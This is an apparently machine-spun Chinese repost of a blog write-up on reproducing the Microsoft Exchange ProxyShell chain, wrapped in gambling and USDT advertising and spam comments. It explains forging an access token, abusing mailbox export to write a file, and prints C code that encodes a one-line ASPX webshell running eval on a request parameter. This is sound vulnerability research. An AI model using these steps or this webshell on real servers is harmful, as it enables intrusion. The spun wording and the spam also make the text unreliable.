首页 科技内容详情
ProxyShell破绽复现详解

ProxyShell破绽复现详解

分类:科技

网址:

反馈错误: 联络客服

点击直达

2022世界杯欧洲区赛

www.x2w8888.com)实时更新发布最新最快的2022世界杯欧洲区赛、2022世界杯会员线路、2022世界杯备用登录网址、2022世界杯手机管理端、2022世界杯手机版登录网址、2022世界杯皇冠登录网址。

,

前言

几天前,Orange在他的BlackHat演讲中又曝出了两条Microsoft Exchange攻击链,即ProxyOrcale和ProxyShell,前者主要用于Padding Orcale攻击,后者则行使路径混淆破绽实现随便文件写入并最终执行代码。

本文假设读者已经阅读了Orange的幻灯片,并对ProxyLogon具有基本的领会。

另外,请注重,出于显而易见的缘故原由,这里不会公然响应的exploit。相反,本文旨在分享我在复现RCE破绽和编写exploit方面的履历。

破绽链

SSRF

这个攻击是从行使一个SSRF破绽最先的,该破绽是由于一些新鲜的URI剖析造成的路径杂乱所致。

PowerShell端点

然后,通过接见内部网络,我们可以实验接见/powershell端点,从而实现与Exchange PowerShell之间的通讯。请注重,由于Exchange的Powershell环境的缘故,我们可以运行的下令是异常有限的。

通过行使SSRF破绽,我们就能以NT Authroity/System的身份来接见/powershell端点。这在正常情形下是没有问题的,但在这种情形下,由于无法识别,因此无法通过身份验证。因此,我们需要降低我们的权限来获得对端点的接见权限。

该端点需要一个名为X-CommonAccessToken的HTTP头部,但我信托Exchange不会将这个头部转发到内部后端服务器。然而,我们可以通过另一种方式获得令牌:通过提供一个名为X-Rps-CAT的GET参数,其中存放令牌内容;之后,它将被反序列化并添加为X-CommonAccessToken。

执行PowerShell下令

有了验证自己身份的方式,我们就可以更进一步,实验实现代码执行。正如我之前所说,由于当前环境下会受到种种限制,因此,我们可以行使的器械很少。然则,却存在这样一个下令:通过它,我们能够在机械的任何位置写入文件……然则,文件只能是PST花样。

然则,PST文件并不是把所有的内容都放以明文形式存放,相反,该花样会将文件内容举行编码,这在微软的官方文件中是有先容的。

以是,我们可以先对payload举行编码,然后,在天生并被编码PST文件时,会对payload再次举行编码,这将使最终效果保持稳固。

同时,由于我们可以提供一个网络共享,这意味着我们可以直接告诉Exchange导出文件到\\127.0.0.1\C$\pathto\shell。这个webshell虽然不是很优雅,但简直能用。

但在这之前,我们需要让我们控制的用户拥有导出邮件的权限。为此,我们需要借助于New-ManagementRoleAssignment,我们可以通过它把邮箱导入导出的角色分配给用户。

发送Payload

解决了这个问题后,我们就可以想法发送有用载荷。由于我们将行使New-MailExportRequest,以是,我们需要向要导出的邮箱里发送一封包罗有用载荷的邮件。

我发现,有两种方式可以解决这个问题。其中,一种方式是Orange使用的方式,发送一封邮件到地址,然后导出它。另一种方式,是Peter和Jang在Peter的博客中提出的方式:使用EWS来冒充用户,并将包罗有用负载的草稿保留为附件。

我决议接纳第二种方式,由于它加倍利便。

复现破绽

在上面的章节中,我已经注释了攻击链的基本看法,现在是时刻举行复现了。

SSRF部门实在并不主要,它只是后面所有攻击的入口,但自己并没有什么手艺上的挑战。

组织CommonAccessToken

以是,我们需要一个有用的令牌,但真正的问题是:怎样才气获得一个有用的令牌呢?

为了抓去一个令牌示例,我设置了一些断点,阻挡了Exchange内部发送的一些请求。最后,获得了下面这样一个令牌:

X-CommonAccessToken:VgEAVAdXaW5kb3dzQwBBCEtlcmJlcm9zTBZGXEhlYWx0aE1haWxib3g3ZjRiOTM1VS1TLTEtNS0yMS0xOTU2NzE2NjYxLTMwNzcyMTY4MjctMzc2OTU5MzkzLTExMzVHBgAAAAcAAAAsUy0xLTUtMjEtMTk1NjcxNjY2MS0zMDc3MjE2ODI3LTM3Njk1OTM5My01MTMHAAAAB1MtMS0xLTAHAAAAB1MtMS01LTIHAAAACFMtMS01LTExBwAAAAhTLTEtNS0xNQcAAAAIUy0xLTE4LTFFAAAAAA==

很显著,这里使用了base64编码;在解码之后,我决议行使hexdump软件举行考察,由于其中含有数百万个不能打印的字符。


从hexdump中,我们可以看到一些要害字符串:Kerberos、Windows、usernames,以及一些SID。此外,另有一些以单个字母作为前导的数据,这里假设其结构为:Type-Length-Value。

我对一些DLL举行了反汇编,以考察令牌是若何被序列化和反序列化的,并获得一些大致的想法。其中,最令人感兴趣的DLL是Microsoft.Exchange.Security.Authorization.dll。


在Deserialize函数中,我们可以看到V代表版本,T代表类型,C代表压缩的意思。


而E则代表扩展数据的意思。

在WindowsAccessToken中,我们可以找到分外的信息。


其中,A代表认证类型,L代表登任命户,U代表用户SID,最后,G代表组SID。

现在,我们已经知道了令牌的花样,接下来,我们将实验构建自己的令牌。但现在问题泛起了:我们需要一个SID和组SID,对吧?

若是您关注过ProxyLogon的破绽,就会知道若何去做了。我们可以通过发送一个请求给https://exchange/autodiscover/autodiscover.xml,首先获得传统的域名,然后,使用传统的域名,通过发送另一个请求给https://exchange/mapi/emsmdb/,来找到用户的SID。

那么组SID呢?嗯,在Windows中,用户的SID是唯一的,但组的SID却不是。例如,对于治理员组中的用户,其组SID是S-1-5-32-544。顺便说一下,通俗用户的组SID是S-1-5-32-545。

新2网址大全

www.122381.com)实时更新发布最新最快最有效的新2网址和新2最新网址,包括新2手机网址,新2备用网址,皇冠最新网址,新2足球网址,新2网址大全。

以是,我们基本上掌握了所需的所有信息,那么,我们该若何构建一个令牌呢?对于版本、类型、压缩、授权方面,我们可以保持原样。现实上,我们只需要改变登录名、用户SID以及组SID。

下面是用来天生令牌的部门代码:


我并没有真正弄明了为什么组SID后面总是随着\x00\x00\x07,在这一点上我真的太懒了。而且,这也不是很主要。

我们已经乐成伪造了自己的令牌,现在是时刻测试一下,看看能否接见Powershell端点了。


若是响应代码是200,这意味着令牌已经被接受,我们大功告成。否则,则可能需要举行一些调试……

使用远程Powershell

下一个大义务是实现与Powershell端点的通讯。现实上,该端点是通过WSMan协议的Powershell举行远程通讯的。而WSMan是一个基于HTTP与SOAP XML的协议,若是我们自己着手实现该协议的话,将是一件异常痛苦的事情。

但我们很幸运,有人已经完成了这项艰难的事情。由于我们可以行使Python库PyPSRP来完成响应的事情。

不外,我们另有一件事需要处置。由于WSMan是直接与目的服务器举行对话的,也就是说,很可能是通过HTTP与exchange:5985端口举行通讯的。但我们的情形有点差异。我们需要它与Powershell端点举行通讯,而不是其他端口。那么,我们若何实现这一点呢?

首先,我想看看请求是什么样子的,以是,我在自己的机械上设置了一个内陆监听器,并发送了一个WinRM请求。在这个测试历程中使用的代码如下所示:


现实上,username、password和auth段实在并不主要,由于这个请求不会发往外部。相反,我们只是想让它发送至127.0.0.1:8080端口,用于测试。


事实证实,这个请求并没有多大区别,我们只需要改变XML数据中的主机字段和一些URI数据即可。

然则,详细该怎么做呢?由于PyPSRP并不支持这种器械,以是,我希望借助于burp,这时我发生了一个想法:我可以为WinRM实现一个内陆HTTP署理服务器。

下面是我画的一个简朴的示意图:


下面给出HTTP服务器的代码:


在编写exploit时遇到的另一个障碍是线程问题。由于执行到http.service_forever()的时刻,服务器就住手了;经由一番研究,我想到一个设施:在另一个线程中启动服务器,这样就好了。

我还想指出,在执行Powershell下令时,一定要举行需要的整理事情,譬喻说,删除导出请求纪录。现实上,有一个Remove-MailboxExportRequest下令,可以用来删除这些纪录。

发送Payload

我们需要向Exchange Web Service(EWS)发送一个XML请求,以确立一个带有payload附件的电子邮件草稿。为了节约读者的时间,由于我已经花了一天的时间在这上面,这里直接给出响应的XML模板。它是在Peter提供的payload的基础上刷新而成的。


下一个部门代码中含有我们的payload,它现实上就是一行ASPX webshell下令:


下一部门代码,将对payload举行编码,以是,当PST再次举行编码时,将恢复为明文形式的payload。

在微软的页面上,我稍微修改了一下代码,编译并保留了二进制数据,然后对其举行了base64编码。

,include < stdio.h > 
,include < windows.h >
,include < string.h >
 
byte mpbbCrypt[] =
 {
      65,  54,  19,  98, 168,  33, 110, 187,
     244,  22, 204,   4, 127, 100, 232,  93,
      30, 242, 203,  42, 116, 197,  94,  53,
     210, 149,  71, 158, 150,  45, 154, 136,
      76, 125, 132,  63, 219, 172,  49, 182,
      72,  95, 246, 196, 216,  57, 139, 231,
      35,  59,  56, 142, 200, 193, 223,  37,
     177,  32, 165,  70,  96,  78, 156, 251,
     170, 211,  86,  81,  69, 124,  85,   0,
       7, 201,  43, 157, 133, 155,   9, 160,
     143, 173, 179,  15,  99, 171, 137,  75,
     215, 167,  21,  90, 113, 102,  66, 191,
      38,  74, 107, 152, 250, 234, 119,  83,
     178, 112,   5,  44, 253,  89,  58, 134,
     126, 206,   6, 235, 130, 120,  87, 199,
     141,  67, 175, 180,  28, 212,  91, 205,
     226, 233,  39,  79, 195,   8, 114, 128,
     207, 176, 239, 245,  40, 109, 190,  48,
      77,  52, 146, 213,  14,  60,  34,  50,
     229, 228, 249, 159, 194, 209,  10, 129,
      18, 225, 238, 145, 131, 118, 227, 151,
     230,  97, 138,  23, 121, 164, 183, 220,
     144, 122,  92, 140,   2, 166, 202, 105,
     222,  80,  26,  17, 147, 185,  82, 135,
      88, 252, 237,  29,  55,  73,  27, 106,
     224,  41,  51, 153, 189, 108, 217, 148,
     243,  64,  84, 111, 240, 198, 115, 184,
     214,  62, 101,  24,  68,  31, 221, 103,
      16, 241,  12,  25, 236, 174,   3, 161,
      20, 123, 169,  11, 255, 248, 163, 192,
     162,   1, 247,  46, 188,  36, 104, 117,
      13, 254, 186,  47, 181, 208, 218,  61,
      20,  83,  15,  86, 179, 200, 122, 156,
     235, 101,  72,  23,  22,  21, 159,   2,
     204,  84, 124, 131,   0,  13,  12,  11,
     162,  98, 168, 118, 219, 217, 237, 199,
     197, 164, 220, 172, 133, 116, 214, 208,
     167, 155, 174, 154, 150, 113, 102, 195,
      99, 153, 184, 221, 115, 146, 142, 132,
     125, 165,  94, 209,  93, 147, 177,  87,
      81,  80, 128, 137,  82, 148,  79,  78,
      10, 107, 188, 141, 127, 110,  71,  70,
      65,  64,  68,   1,  17, 203,   3,  63,
     247, 244, 225, 169, 143,  60,  58, 249,
     251, 240,  25,  48, 130,   9,  46, 201,
     157, 160, 134,  73, 238, 111,  77, 109,
     196,  45, 129,  52,  37, 135,  27, 136,
     170, 252,   6, 161,  18,  56, 253,  76,
      66, 114, 100,  19,  55,  36, 106, 117,
     119,  67, 255, 230, 180,  75,  54,  92,
     228, 216,  53,  61,  69, 185,  44, 236,
     183,  49,  43,  41,   7, 104, 163,  14,
     105, 123,  24, 158,  33,  57, 190,  40,
      26,  91, 120, 245,  35, 202,  42, 176,
     175,  62, 254,   4, 140, 231, 229, 152,
      50, 149, 211, 246,  74, 232, 166, 234,
     233, 243, 213,  47, 112,  32, 242,  31,
       5, 103, 173,  85,  16, 206, 205, 227,
      39,  59, 218, 186, 215, 194,  38, 212,
     145,  29, 210,  28,  34,  51, 248, 250,
     241,  90, 239, 207, 144, 182, 139, 181,
     189, 192, 191,   8, 151,  30, 108, 226,
      97, 224, 198, 193,  89, 171, 187,  88,
     222,  95, 223,  96, 121, 126, 178, 138,
      71, 241, 180, 230,  11, 106, 114,  72,
     133,  78, 158, 235, 226, 248, 148,  83,
     224, 187, 160,   2, 232,  90,   9, 171,
     219, 227, 186, 198, 124, 195,  16, 221,
      57,   5, 150,  48, 245,  55,  96, 130,
     140, 201,  19,  74, 107,  29, 243, 251,
     143,  38, 151, 202, 145,  23,   1, 196,
      50,  45, 110,  49, 149, 255, 217,  35,
     209,   0,  94, 121, 220,  68,  59,  26,
      40, 197,  97,  87,  32, 144,  61, 131,
     185,  67, 190, 103, 210,  70,  66, 118,
     192, 109,  91, 126, 178,  15,  22,  41,
      60, 169,   3,  84,  13, 218,  93, 223,
     246, 183, 199,  98, 205, 141,   6, 211,
     105,  92, 134, 214,  20, 247, 165, 102,
     117, 172, 177, 233,  69,  33, 112,  12,
     135, 159, 116, 164,  34,  76, 111, 191,
      31,  86, 170,  46, 179, 120,  51,  80,
     176, 163, 146, 188, 207,  25,  28, 167,
      99, 203,  30,  77,  62,  75,  27, 155,
      79, 231, 240, 238, 173,  58, 181,  89,
       4, 234,  64,  85,  37,  81, 229, 122,
     137,  56, 104,  82, 123, 252,  39, 174,
     215, 189, 250,   7, 244, 204, 142,  95,
     239,  53, 156, 132,  43,  21, 213, 119,
      52,  73, 182,  18,  10, 127, 113, 136,
     253, 157,  24,  65, 125, 147, 216,  88,
      44, 206, 254,  36, 175, 222, 184,  54,
     200, 161, 128, 166, 153, 152, 168,  47,
      14, 129, 101, 115, 228, 194, 162, 138,
     212, 225,  17, 208,   8, 139,  42, 242,
     237, 154, 100,  63, 193, 108, 249, 236
 };
 
 ,define mpbbR   (mpbbCrypt)
 ,define mpbbS   (mpbbCrypt + 256)
 ,define mpbbI   (mpbbCrypt + 512)
 
 void CryptPermute(PVOID pv, int cb, BOOL fEncrypt)
 {
    // cb -> buffer size
    // pv -> buffer
    byte *          pb      = (byte *)pv;
    byte *          pbTable   = fEncrypt ? mpbbR : mpbbI;
    const DWORD *   pdw    = (const DWORD *) pv;
    DWORD         dwCurr;
    byte         b;
 
    if (cb >= sizeof(DWORD))
    {
       while (0 != (((DWORD_PTR) pb) % sizeof(DWORD)))
       {
          *pb = pbTable[*pb];
          pb++;
          cb--;
       }
 
       pdw = (const DWORD *) pb;
       for (; cb >= 4; cb -= 4)
       {
          dwCurr = *pdw;
 
          b = (byte) (dwCurr & 0xFF);
          *pb = pbTable[b];
          pb++;
 
          dwCurr = dwCurr >> 8;      
          b = (byte) (dwCurr & 0xFF);
          *pb = pbTable[b];
          pb++;
 
          dwCurr = dwCurr >> 8;      
          b = (byte) (dwCurr  & 0xFF);
          *pb = pbTable[b];
          pb++;
 
          dwCurr = dwCurr >> 8;      
          b = (byte) (dwCurr  & 0xFF);
          *pb = pbTable[b];
          pb++;
 
          pdw++;
       }
 
       pb = (byte *) pdw;
    }
 
    for (; --cb >= 0; ++pb)
       *pb = pbTable[*pb];
}
 
 
void main(){
    char[] payload = "< script language='JScript' runat='server' Page aspcompat=true >function Page_Load(){eval(Request['cmd'],'unsafe');}< /script >";
    int length = strlen(payload);
    CryptPermute(payload, length, false);
    printf(payload);
 
}

最后,我真的搞不清晰什么是准确的编码方式,只好举行蛮力测试,直到有一个乐成为止。

现在,破绽链的每个部门都搞定了,终于可以把组合在一起举行测试了。

测试效果


只管webshell有点乱,但借助于正则表达式的威力,我们仍然可以获得一个对照清晰的效果。

小结

这一次,我们凭证其他研究职员的论文,实现了自己的破绽行使方式。说真话,这个攻击链真的很酷,我在行使这个破绽的历程中学到了许多器械。我异常谢谢Peter的文章,也谢谢Orange提供的这个惊人的攻击链。希望本文对于人人明白这个破绽能够有所辅助。

参考资料

https://docs.microsoft.com/en-us/openspecs/office_file_formats/ms-pst/5faf4800-645d-49d1-9457-2ac40eb467bd

https://peterjson.medium.com/reproducing-the-proxyshell-pwn2own-exploit-49743a4ea9a1

https://i.blackhat.com/USA21/Wednesday-Handouts/us-21-ProxyLogon-Is-Just-The-Tip-Of-The-Iceberg-A-New-Attack-Surface-On-Microsoft-Exchange-Server.pdf

https://www.bloggingforlogging.com/2018/08/14/powershell-remoting-on-python/

https://docs.microsoft.com/en-us/exchange/client-developer/exchange-web-services/how-to-add-attachments-by-using-ews-in-exchange

本文翻译自:https://y4y.space/2021/08/12/my-steps-of-reproducing-proxyshell/
  • 皇冠下载 @回复Ta

    2021-09-05 00:04:26 

    忍不住评论一下

    • 新2备用网址 @回复Ta

      2021-09-06 10:59:35 

      www.ipfs8.vip)是FiLecoin致力服务于使用FiLecoin存储和检索数据的官方权威平台。IPFS官网实时更新FiLecoin(FIL)行情、当前FiLecoin(FIL)矿池、FiLecoin(FIL)收益数据、各类FiLecoin(FIL)矿机出售信息。并开放FiLecoin(FIL)交易所、IPFS云矿机、IPFS矿机出售、租用、招商等业务。不错啦,可以看进去

  • 皇冠下载 @回复Ta

    2021-09-10 00:01:31 

      湖南省工信厅克日宣布《湖南省制造业数字化转型“三化”重点项目名单(2021年第一批)》,来自中联重科、威胜团体、蓝思科技、中车株机等企业的385个项目入选,其中数字化刷新项目275个、网络化协同项目66个、智能化升级项目44个。很正能量

  • usdt充币教程(www.6allbet.com) @回复Ta

    2021-09-19 00:02:50 

    事实上真不算,由于她拍了近30部影戏却只依附《第三种恋爱》提名过一次第16届华语影戏传媒大奖观众票选最受瞩目女演员,其余的基本上是反向奖项提名,由于她演的低分影戏着实太多了。角度清奇,篇幅精悍

  • 新2代理手机管理端(www.22223388.com) @回复Ta

    2021-09-21 00:00:23 

    USDT交易所www.Uotc.vip)是使用TRC-20协议的Usdt官方交易所,开放USDT帐号注册、usdt小额交易、usdt线下现金交易、usdt实名不实名交易、usdt场外担保交易的平台。免费提供场外usdt承兑、低价usdt渠道、Usdt提币免手续费、Usdt交易免手续费。U担保开放usdt otc API接口、支付回调等接口。

    还有这样的文吗

  • 皇冠官网(www.huangguan.us) @回复Ta

    2021-10-12 00:04:15 

      湖南省工信厅克日宣布《湖南省制造业数字化转型“三化”重点项目名单(2021年第一批)》,来自中联重科、威胜团体、蓝思科技、中车株机等企业的385个项目入选,其中数字化刷新项目275个、网络化协同项目66个、智能化升级项目44个。不枯燥,可以看

发布评论